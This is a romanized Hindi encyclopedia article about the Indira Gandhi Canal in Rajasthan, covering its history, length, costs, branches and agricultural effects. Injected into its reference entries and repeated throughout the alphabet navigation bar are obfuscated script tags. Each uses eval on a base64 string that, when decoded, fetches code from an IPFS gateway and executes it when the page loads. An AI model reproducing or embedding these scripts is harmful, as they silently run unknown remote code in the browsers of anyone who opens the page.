इंदिरा गाँधी नहर

	iandira gaandhi nahar
	iandira gaandhi nahar\|200px\|center
vivaran	'iandira gaandhi nahar' bharat ki mahattvapoorn sianchaee pariyojana hai. yah bharat hi nahian apitu vishv ki sabase lambi nahar hai, jisane rajasthan mean 'harit kraanti' la di hai.
desh	bharat
srot	harike baandh, panjab
lambaee	649 kilomitar
jal visarjan	18,500 ghanaphut/sekand
lokarpan	31 march, 1958
udghatanakarta	govind vallabh pant
vishesh	is vishal nahar ki kalpana sabase pahale 1948 mean tatkalin bikaner rajy ke sachiv evan mukhy abhiyanta svargiy shri kanvarasen dvara ki gee aur unhoanne isaki yojana banaee.
any janakari	harike bairaj se prabhavit is nahar ke shirsh sthal par isake tal v oopari satah ki chau daee kramashah 134 phut v 218 phut hai aur pani ki gaharaee 21 phut hai.

iandira gaandhi nahar (aangrezi: Indira Gandhi Canal)‌ ko 'rajasthan nahar' ke nam se bhi jana jata hai. yah rajasthan ke uttar-pashchim bhag mean bahati hai. rajasthan ki mahatvakaankshi 'iandira gaandhi nahar pariyojana' se maryasthaliy kshetr mean chamatkarik badalav a raha hai aur isase marubhoomi mean sianchaee ke sath hi peyajal aur audyogik karyoan ke lie bhi pani milane laga hai. pahale is nahar ko 'rajasthan nahar' ke nam se jana jata tha. ab isaka naya nam 'iandira gaandhi nahar' hai. iandira gaandhi nahar ke nirman se poorv logoan ko kee mil door se pine ka pani lana padata tha, lekin ab pariyojana ke aantargat 1200 kyoosek pani keval peyajal udyog, sena evan oorja pariyojanaoan ke lie arakshit kiya gaya hai.

vishv ki sabase b di nahar

vishv ki sabase b di 649 kilomitar lambi nahar ne rajasthan ke maru pradesh mean jis harit kraanti ko janm diya, jis audyogik kraanti se vikas kiya aur jis samajik kraanti se jan-chetana ko jagrat kiya, usaka shrey indira gaandhi nahar ko hai. yah vahi vishal nahar hai, jo maru ganga ke nam se vikhyat hai aur jisake karan paryavaran mean aisa sudhar hua hai ki baloo ke tiloan vale pradesh ke us kshetr ka bhoogol hi badal gaya hai. bhoogol badalane se pashchimi rajasthan ke ne itihas ki sanrachana ho rahi hai. is nahar ki lambi jal-yatra sahi arthoan mean jay yatra hai.^[1]

rajasthan ke lie mahattv

durgam v kathor marusthal, asadharan v asahaniy tapakram aur viparit v bhayanak bhaugolik paristhitiyoan ke bich is jal vihin aur nirjan kshetr mean nahar ka nirman kar himalay ka him-jal pahuanchana yatharth mean prakriti ke viruddh ek sahasi kadam tha. lekin rajasthan ne is chunauti ko svikara aur k de parishram se prakriti par vijay prapt ki. isase baloo ke tiloan mean naya kalarav aya hai. hajaroan shramikoan aur ianjiniyaroan ne apane shram sahas lagan aur kaushal se tin dashak poorv soche ge sapane ko sakar kiya. ret ke tiloan se bhare kshetr mean varsha ka abhav aur jal srotoan ki kami ke karan jahaan log pani-pani ko tarasate the, vahaan ki ab kaya palat ho gee hai aur ret ke tile hare bhare khetoan mean vikasit ho ge haian. marusthal ki bhayavahata ki sthiti mean jis prakar yah indira gaandhi nahar ek nahar roopi nadi ke roop mean avatarit huee, usaka udaharan vishv mean anyatr nahian milata. panjab ke hare bhare kshetr harit bairaj se rajasthan ke simant kshetr ba damer zile mean gadara rod tak ki nahar ki kalpana kaise sakar ho rahi hai, yah ashchary hai. nahar pranali ki kul lambaee 8,836 kilomitar hai. isase bhoomi ke mooly mean paanch hajar karo d rupaye ki vriddhi ho gee hai. indira gaandhi nahar n maru ganga hai aur n sarasvati, yah to vastav mean booand-booand ko sadiyoan se tarasate kshetr ke liye ‘jivan rekha’ hai ya kahie ki rajasthan ke chahuanmukhi vikas ki ‘bhagyashri’ hai. ret ke samudr aur baloo ret ke paha d jaise tiloan ka yah bhag koee 2.34 lakh varg kilomitar thar ke registan ka adhikaansh bhag hai. yahaan ke bhoogol, jalavayu aur paryavaran mean itana b da parivartan aya hai ki sukh, samriddhi aur kalyan ki paribhasha yahaan ke nagarik samajhane hi nahian lage haian varanh unhoanne is prakar ke jivan mean jina ab sikh liya hai.

nahar ki kalpana

is vishal nahar ki kalpana sabase pahale 1948 mean tatkalin bikaner rajy ke sachiv evan mukhy abhiyanta svargiy shri kanvarasen dvara ki gee aur unhoanne isaki yojana banaee. panjab mean vyas aur sataluj nadi ke sangam par sthit jab ‘harike bairaj’ taiyar ho gaya to is yojana ke adhar par kendriy jal vidyut ayog dvara jo rooparekha bani, usase 1955 aur 1981 mean nadi 'jal vitaran samajhauta' hua. isi se indira gaandhi nahar ko 75.9 lakh ek d phut pani ke upayog ka prastav mila.^[1]

iandira gaandhi nahar pariyojana ko "rajasthan ki jivan rekha/marooganga" bhi kaha jata hai. pahale isaka nam rajasthan nahar tha. 2 navambar 1984 ko isaka nam indira gaandhi nahar pariyojana kar diya gaya hai. bikaner ke ianjiniyar kanvar sain ne 1948 mean bharat sarakar ke samaksh ek prativedan pesh kiya, jisaka vishay 'bikaner rajy mean pani ki avashyakata' tha. iandira gaandhi nahar pariyojana ka mukhyalay jayapur mean hai. is nahar ke nirman ka mukhy udddeshy ravi, vyas nadiyoan ke jal se rajasthan ko avantit 86 lakh ek d ghan phit jal ko upayog mean lena hai. nahar nirman ke lie sabase pahale phirojapur mean sataluj, vyas nadiyoan ke sangam par 1952 mean harikai bairaj ka nirman kiya gaya. harikai bairaj se ba damer ke gadara rod tak nahar banane ka lakshy rakha gaya, jisase shriganganagar, bikaner, jaisalamer v ba damer ko jalapoorti ho sake. [[chitr:Indira-Gandhi-Canal-in-Rajasthan.jpg|thumb|left|250px|iandira gaandhi nahar, rajasthan]] nahar nirman kary ka shri ganesh tatkalik grahamantri govind vallabh pant ne 31 march, 1958 ko kiya. 11 aktoobar, 1961 ko isase sianchaee prarambh ho gee, jab tatkalin uparashtrapati d aau. radhakrishnan ne nahar ki naurangadesar vitarika mean jal pravahit kiya tha. iandira gaandhi nahar pariyojana ke do bhag haian. pratham bhag rajasthan phidar kahalata hai. isaki lambaee 204 ki.mi. (169 ki.mi. panjab v hariyana + 35 ki.mi. rajasthan) hai, jo harikai bairaj se hanumanagadh ke masitavali haid tak vistarit hai. nahar ke is bhag mean jal ka dohan nahian hota hai. iandira gaandhi nahar pariyojana ka doosara bhag mukhy nahar hai. isaki lambaee 445 kimi. hai. yah masitavali se jaisalamer ke mohanagadh kasbe tak vistarit hai. is prakar isaki kul lambaee 649 ki.mi. hai. isaki vitarikaoan ki lambaee 9060 ki.mi. hai. pariyojana ke nirman ke pratham charan mean rajasthan phidar sooratagadh, anupagadh, pugal shakha ka nirman hua hai. isake sath-sath 3075 ki.mi. lambi vitarak naharoan ka nirman hua hai.

vyay rashi

yadi is nahar yojana ke vyay ki or dhyan dean to shuroo mean 1965 tak 66.45 karo d rupaye ka anuman tha, phir 1970 mean yah 200 karo d rupaye ki ho gee. yah rakam badhakar 1977 mean 396 karo d rupaye tak pahuanch gee. 1989 mean rakam ki rashi 1,675 karo d rupaye aur 1990 mean ekadam badhakar 1,900 karo d rupaye ho gee. vastavik kharch janavari 1992 tak 942 karo d ka hi hua hai. bataya gaya hai ki san 2000 tak yah vishv ki sabase b di aur mahattvapoorn nahar 2,900 karo d tak pahuanch jaegi. isaka ashay yah hai ki isake vyay ka anuman 21 vian sadi ke praranbh mean 2,900 karo d ho jaega. yah bhi anuman tha ki nahar ka poora kary san 2004 tak poorn ho jayega, jabaki isake atirikt kary ke san 2007 tak poore hone ki asha thi. vaise itihas mean 1 janavari 1987 ka din svarnim aksharoan mean aankit rahega, jab is jivanadayini maru ganga ki lambi yatra vishal evam durgam retile kshetr ko chir kar 649 kilomitar tak pahuanchi. yah jalayatra isaki vastav mean jay yatra hai. is yatra se jaisalamer ka mohanagadh ek tirth ban gaya.^[1]

samachar patroan mean aur vidhan sabha v sansad mean kee bar yah arop lagaya gaya hai ki nahar poori hone ki avadhi badh rahi hai aur bajat bhi badh raha hai. isamean dosh paryapt matra mean dhan ka n milana hai. isaki yojana har bar sanshodhit hoti gee aur dhanarashi badhati gee. arambh mean jo 400 kilomitar ki nahar thi, vah ab 649 kilomitar ki ho gee. samay ke sath mooly bhi badh ge, mahangaee bhi badh gee. is nahar ke pani se hanumanagadh kshetr mean ‘vatar logiang’ pani ke jamav ki samasya avashy ho gee hai, lekin usaka bhi upay kiya ja raha hai.

yojana ke parinam

[[chitr:Rajiv-Gandhi-inspecting-of-lift-irrigation-works-on-Indira-Canal.jpg|thumb|250px|nahar kary ka nirikshan karate rajiv gaandhi]] arambh mean yah kalpanashil nahar rajasthan ke nam se thi, parantu svargiy pradhanamantri shrimati iandira gaandhi ke dehant ke bad unaki sthaee smriti ke liye isaka nam indira gaandhi nahar kar diya gaya. is nahar se poore maru pradesh mean chahuanmukhi pragati huee hai. projekt poora hone par is kshetr ki janasankhya koee ek karo d badh jaegi. lagabhag 40 ne shaharoan ka nirman hoga. 6 hajar ne gram vikasit ho jaeange. abhi 1,500 gramoan ko pine ke pani ka labh mil raha hai. baloo ke tiloan ke aandh d kafi kam ho ge haian- unaki toophani gati kam ho gee hai aur 1.46 lakh hekteyar bhoomi mean van vikas kary kiya ja raha hai. abhi sianchaee 7.10 lakh hekteyar bhoomi mean hoti hai. nahar poora hone par ab sianchaee kary 15.37 lakh hekteyar kshetr mean karane ka lakshy hai. is prakar 8.50 hekteyar ne kshetr mean sianchaee kshamata arjit ki gee hai. pashu palan mean vriddhi, lakhoan logoan ko atirikt rojagar aur dugdh vikas mean badhottari is yojana ke parinam haian. kise maloom nahian hai ki poore desh ka chana adhikaansh mean isi nahar kshetr mean utpann hota hai. kapas ki kheti ne sabhi aank de to d die hai. mooangaphali sabhi sthanoan par yahaan se pahuanchati hai. yahaan ka malta desh bhar mean rakt ki shakti oorja badha raha hai. gehooan-chaval adi ke apoorv bhandar haian. sarasoan ke utpadan ne bhi rik aaurd bana liya hai. ne-ne udyog panap ge haian. yahaan koee 550 karo d rupaye ka varshik krishi utpadan hota hai.

yah kshetr keval 8 hajar hekteyar ka hai. jis marubhoomi mean bachchoan ko varsha ka anubhav nahian tha, jahaan booand-booand pani bator kar mahinoan usaka upayog hota tha aur jahaan pani ki jagah doodh ya chhachh atithi ko majaboori mean pilaee jati thi, vahaan ab pani hi pani, hariyali hi hariyali aur anaj hi anaj upalabdh hai. yah parinam hai manav kalyan aur manav ke kathor shram ka, jisane desh ki lambaee-chau daee ke jo d se duguni lambi jal-yatra poori kar ek naya svapn poora kiya hai. is nahar ke nirman ke phalasvaroop himalay ka him-jal marusthal mean pahuanch gaya hai aur isase yahaan ke jan-jivan mean sukhi rahane ki ek nee kraanti aee hai.^[1]

rashtriy hit ki vrihad sianchaee pariyojana

kalpana kijie, is nahar ke vishal nirman kary ki, jahaan 44 karo d ghanamitar kshetr mean kary hua hai. evarest ki ooanchaee aur 350 mitar guna 350 mitar adhar ke piramid ke nirman ke barabar ka kary hoga, kya kam ashcharyajanak hai? is nahar ke nirman mean 30 karo d manav dinoan ke barabar kary hua hai. pariyojana ke liye kie ge mitti ke kary se prithvi ke charoan or 6 mitar chau de evan 1.2 mitar ooanche tatabandh ka nirman kiya ja sakata hai. nahar ko pakka karane vali tailoan ki or dhyan dean to unase prithvi ke charoan or char mitar chau di s dak ka nirman ho sakata hai. vastav mean dekha jae to isaki vishalata barah mahinoan bahane vali ek nadi ke saman hai, isilie kaha gaya hai ki is kshetr mean prachin samay mean bahane vali sarasvati nadi ka ek prakar se punah avataran ho gaya hai. indira gaandhi nahar ek aisi rashtriy hit ki vrihad sianchaee pariyojana hai, jo rajasthan ke liye sarthak v kalyanakari to hai hi, sath hi poore desh ki samriddhi ke liye ek thos yojana siddh ho chuki hai.

shakhaean v up-shakhaean

sianchaee ke atirikt pariyojana mean peyajal v audyogik karyoan ke liye 1,200 kyoosek pani prithakh se dene ka nishchay bhi hua. harike bairaj se prabhavit is nahar ke shirsh sthal par isake tal v oopari satah ki chau daee kramashah 134 phut v 218 phut hai aur pani ki gaharaee 21 phut hai. isaka jal praday visarjan 18,500 ghanaphut prati sekand hai. sanshodhit yojana ke anusar arambh mean lagabhag 1,675 karo d rupaye ki anumanit lagat ki is pariyojana ke aantargat 204 kilomitar lambi phidar nahar sahit 649 kilomitar lambi mukhy nahar hai. isaki koee 8,187 kilomitar lambi shakhaean v up-shakhaean haian. inhian mean isaki jal-vitarikaoan aur sat jalotthan naharoan ka nirman kar maru kshetr ko 15.37 lakh hekteyar bhoomi mean sianchaee suvidha evan peyajal upalabdh karane ka prastav poora ho raha hai. is nahar ka labh arambh mean shri ganganagar zile ko mila. isake bad churoo zile ko bhi isase rahat mili. phir bikaner ki or kary badha aur ab jaisalamer mean bhi nahar se himalay ka pani pahuanch gaya hai. ab age ba damer ke gadara rod ki or kary chaloo hai. jodhapur ko bhi is nahar ke madhyam se himajal milega. nagaur zila bhi isake phal prapt karega, yah asha karana svabhavik hai.

iandira gaandhi nahar pariyojana ki nau shakhaean haian^[2]-

ravatasar (hanumanagadh) - yah iandira gaandhi nahar pariyojana ki pratham shakha hai, jo ek matr aisi shakha hai, jo nahar ke baanyi or se nikalati hai.
suratagadh (shriganganagar)
anoopagadh
pugal (bikaner)
charanavala
dataur
birasalapur
shahid birabal (jaisalamer)
sagaramal gopa

iandira gaandhi nahar pariyojana ki 4 upashakhaean haian-

lilava
digha
barakatulla khaan (gadara rod upashakha)
baba ramadev upashakha

jal ka niyamit bahav

iandira gaandhi nahar pariyojana mean pani ke niyamit bahav ke lie nimn upay haian-

vyas - sataluj nadi par baandh
vyas nadi par pauang baandh
ravi - vyas nadiyoan ke sangam par panjab ke madhopur namak sthan par ek liank nahar ka nirman.

gandheli sahava lipht nahar se jarmani ke sahayog se ‘apani yojana‘ banaee gee hai. is yojana ke pratham charan mean hanumanagadh, churoo aur isake dvitiy charan mean churoo v jhuanjhunoo ke kuchh gaanvoan mean jalapurti hogi. iandira gaandhi nahar pariyojana ki sooratagadh v anoopagadh shakhaoan par tin laghu vidhut grah banaye gaye haian. bhavishy mean is nahar ko kaandala bandaragah se jo dane ki yojana hai, jisase yah bharat ki rain nadi ban jaegi. d aau. sichend dvara avishkarit lipht traansaletar yantr nahar ke vibhinn sthanoan par laga dene se isase itani vidyut utpann ki ja sakati hai, jisase poore uttari-pashchimi rajasthan mean niyamit vidyut ki apoorti ho sakati hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 iandira gaandhi nahar aur rajasthan (hiandi) indiya vatar portal. abhigaman tithi: 30 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ rajasthan ki sianchaee pariyojanaean (hiandi) rajasthangyan.com. abhigaman tithi: 01 janavari, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh 